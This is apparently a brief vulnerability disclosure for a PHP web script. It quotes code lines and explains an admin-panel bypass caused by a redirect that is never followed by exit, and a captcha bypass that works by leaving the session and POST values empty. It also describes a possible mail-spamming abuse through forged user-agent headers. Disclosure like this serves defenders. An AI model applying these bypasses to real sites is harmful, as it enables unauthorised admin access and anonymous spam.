Explanation:



I've done a quick research on this platform.. just pen-tested it, not tested..

I have found some problems that affect this script:



1 - Admin bypass:



admin/index.php, line 13:



if( !es_islogged() ){

        header( "Location: login.php" );

}



really need an explanation? 0_o



2 - captcha bypass



admin/config.php, line 40:



if( $_POST['es_security_captcha'] == $_SESSION["es_security_captcha"] )



simply do not call the file captcha.php, and do not set a post variable named 'es_security_captcha' to bypass



3 - spamming/anon mailing (not tested)



while into the ACP you can set a new mail for the admin.. putting the mail you want and attacking the site

with special forged HTTP_USER_AGENT headers you can send a mail with (also) the text you want
